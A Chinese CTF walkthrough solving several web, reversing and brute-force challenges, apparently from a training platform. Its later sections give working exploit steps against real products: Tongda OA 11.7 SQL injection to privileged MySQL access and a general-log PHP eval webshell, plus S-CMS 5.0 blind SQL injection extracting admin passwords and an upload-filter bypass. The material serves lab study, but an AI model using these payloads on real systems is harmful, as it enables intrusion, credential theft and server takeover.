题目地址:签到题:一张简单图片
访问链接是一张图片,我们把它下载下来
然后用HEX方式打开,在最下面发现有一段HTML实体编码
复制下来放进Burpsuite的decoder模块进行解码,得到key
题目地址:仙剑奇侠传-翻牌游戏
进入首页是一个小游戏
翻了一下前端文件,在style.css
和main.js中都发现了一段神秘符号
把这两段都copy下来,OMG,这不是JSFUCK吗,直接拼接到一起,然后放到浏览器控制台回车
得到一个文件名testaaaa.php
,赶紧访问一下
大致看一下源码,这里的目的应该是要让变量$f10g
的值为flag_give_me
,然后让他输出$flag
,下面来分析一下
<?php
error_reporting(0);
highlight_file(__FILE__);
include ("flag.php");
$a = $_SERVER['argv'];
$c = $_POST['abc'];
/*
这里它需要传参中有CTF_SHOW和CTF_SHOW.COM以及GET传参中不要出现f10g,难点是在CTF_SHOW.COM这里,因为我们直接写CTF_SHOW.COM的话,在后端它的KEY实际上是CTF_SHOW_COM,这里我们只需要把_换成[它的.就不会被转换,即可绕过
于是我们可以构造出传参来绕过第一层判断
GET不需要传参
POST传参:CTF_SHOW=1&CTF[SHOW.COM=2
*/
if (isset($_POST['CTF_SHOW']) && isset($_POST['CTF_SHOW.COM']) && !isset($_GET['fl0g'])) {
/*
这里的正则看上去好像很复杂,其实就是过滤了以下字符
\\ / ~ ` ! @ # % ^ * - + = {} " ' , . ; ? flag GLOBALS echo var_dump print
先往下看
*/
if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c) && $c <= 16) {
/*
现在我们需要有$f10g这个变量并且值为flag_give_me,才能获取到flag,那么我们就要想办法创建这个变量,eval会执行$c中代码,那么通过这里来调用可extract()来进行变量的创建,extract()函数的作用是把数组中key声明为变量,key的值就是变量的值,那么我们只需要在POST中传一个fl10g=flag_give_me然后extract($_POST)就好了
*/
eval("$c" . ";");
if ($fl0g === "flag_give_me") {
echo $flag;
}
}
}
?>
payload
POST传参:CTF_SHOW=1&CTF[SHOW.COM=2&abc=extract($_POST)&fl0g=flag_give_me
题目地址:点到绿色方块就给flag
我这里使用的按键精灵来编写脚本进行点击的,语句如下,安装包我会放在附件里,还有使用视频
注意:脚本运行的时候,题目的程序要显示在界面上面
//获取屏幕高度
ScreenH = Plugin.GetSysInfo.GetScreenResolutionY()
//获取屏幕宽度
ScreenW = Plugin.GetSysInfo.GetScreenResolutionX()
//循环240次
While 240
在全屏中寻找绿色方块的左边
FindColor 0, 0, ScreenW, ScreenH, "47B926", intX, intY
//找到了就进行点击
If intX > 0 And intY > 0 Then
MoveTo intX,intY
LeftClick 1
End If
Wend
将exe程序下载到本地之后使用od打开
搜索ASCII看到文本字符串这行
往上翻,有一个和C7比较的地方,C7是199,我们需要200,给4011F2下断
运行,然后修改eax寄存器的值为200,也就是C8,然后一路F8运行就行
修改完eax值后,直接点运行,F9也行
或者直接修改寄存器的EAX为200,200就是点击的次数,修改完之后f9运行
直接手点,太强了
写python脚本,源码如下,视频演示在附件中
from colorama.win32 import windll
import pyautogui
def get_color(x, y):
gdi32 = windll.gdi32
user32 = windll.user32
hdc = user32.GetDC(None) # 获取颜色值
pixel = gdi32.GetPixel(hdc, x, y) # 提取 RGB 值
r = pixel & 0x0000ff
g = (pixel & 0x00ff00) >> 8
b = pixel >> 16
return [r, g, b]
while True:
if get_color(1600,1000) == [38, 185, 71] :
pyautogui.click(1600,1000)
else:
pyautogui.click(1400, 1000)
题目地址:送分题:一个登录框
这关聂风老师有给提示,账号是admin,密码是70W-80W之间,并且登录成功和失败包大小是一样的
直接抓包放到Intruder模块,设置好枚举范围
设置payload,如图,这里提一句,如果我们刚开始只知道是6位数想从000000开始跑就可以安装图片中那样,设置下面那四个框,前两个框是设置整数的最大位数和最小位数,后面两个是小数部分的
点击打开过滤器
配置过滤规则,我这里勾上了正则,匹配flag或者key两个关键字
成功找到flag
题目地址:通达OA渗透测试
进入题目界面,账号为admin,密码为空直接登录,登陆进去,通过其中的一些自带页面,确定当前版本为11.7
该版本后台存在sql注入并且能getshell,这里我们可以下载源码文件在本地搭建分析,注入点出现在general/hr/manage/query/delete_cascade.php目录
这里判断了$condition_cascade是否为空,然后去执行了一个str_replace的函数,实际效果就是把$condition_cascade中的\’替换成’
这里其实是注册时考虑了安全问题,把用户输入的字符用addslashes进行了保护会把单引号加上\
往下分析,后面有个exequery函数我们暂时不知道是做什么的,这里看不懂没关系我们直接往下看看这个函数的用法,发现后面这里exequery后面拼接的是我们语句,这里我们就不需要管它前面是什么,只需要知道,我们的$condition_cascade经过处理之后会最终被当做sql语句进行执行,那就意味着我们能为所欲为的构造sql语句了吗?
并不是,尝试过发现这里其实是有过滤的
这里直接构造语句往里面添加用户
?condition_cascade=grant all privileges ON mysql.* TO 'test1'@'%' identified by 'test1' with grant option
(grant all privileges on 库名.表名 to ‘用户名’@’IP地址’ identified by ‘密码’ with grant option;)
添加完之后我们这里可以尝试登录,找到adminer,输入我们刚刚添加的用户和密码(这里值得注意的是通达OA数据库的默认端口不是3306,而是3336,连接的时候不要填错)
添加成功之后我们就会给用户相应的权限,这里在数据库中进行对该用户赋予超级权限。
UPDATE mysql.user SET Super_priv ='Y' WHERE User = 'test1';
添加完权限之后需要刷新权限(这里我们刚刚添加的用户没权限刷新,所以需要到前面sql注入的地方尝试刷新flush privileges;
然后再尝试对他进行写shell,在写shell之前我们还需要知道他的路径,所以我们先利用select @@basedir
查看路径
最后就是我们熟知的日志写shell
set global general_log = on;
set global general_log_file = 'C:/MYOA/webroot/1.php';
select '<?php eval($_REQUEST[8]);?>';
拿下!
使用 github 上的 exp 一键上传冰蝎 webshell,exp地址
题目地址:scms渗透测试
首先信息搜集一下,发现其admin目录下有version.txt暴露了版本
这里直接网上寻找闪灵cms5.0的漏洞文章,发现一处sql注入
参考文章:http://www.0dayhack.net/index.php/141/
我们这里可以尝试对他进行盲注
这里对我们语句做了很多的限制,这里的空格我们可以用/**/来代替,等于我们可以尝试利用大于或者like去代替,最终经过尝试得出以下语句
(这里值得注意的是,因为过滤的比较严格,不太建议用sqlmap工具去跑,最好是下载相应源码,本地搭建可得知该cms下面有sl_admin表,它下面存有账号和密码)
1-if(ascii(substr((select/**/A_pwd/**/from/**/sl_admin/**/limit/**/1,1),1,1))>1,sleep(5),1)=zzz
通过上面注入得知其中有个账号叫admin,但是密码解不开,它下面另一个账号test可以通过md5解开,于是我们尝试登录进入后台
这里的网站安全,文件管理位置存在漏洞
这里修改完文件之后他会去截取.后面的内容然后去做过滤,我们这里绕过的方式也很简单,直接使用amp.php.
这样$kname则等于空,从而绕过了验证
打赏我,让我更有动力~
按键精灵.zip 文件大小:26.263M (下载次数:6)
S-CMSyiyuanjzxt_jb51.rar 文件大小:12.047M (下载次数:13)
python脚本演示.zip 文件大小:1.242M (下载次数:12)
© 2016 - 2024 掌控者 All Rights Reserved.
Track-劲夫
发表于 2021-12-28
还有两道题会在明天下午之前补齐
评论列表
加载数据中...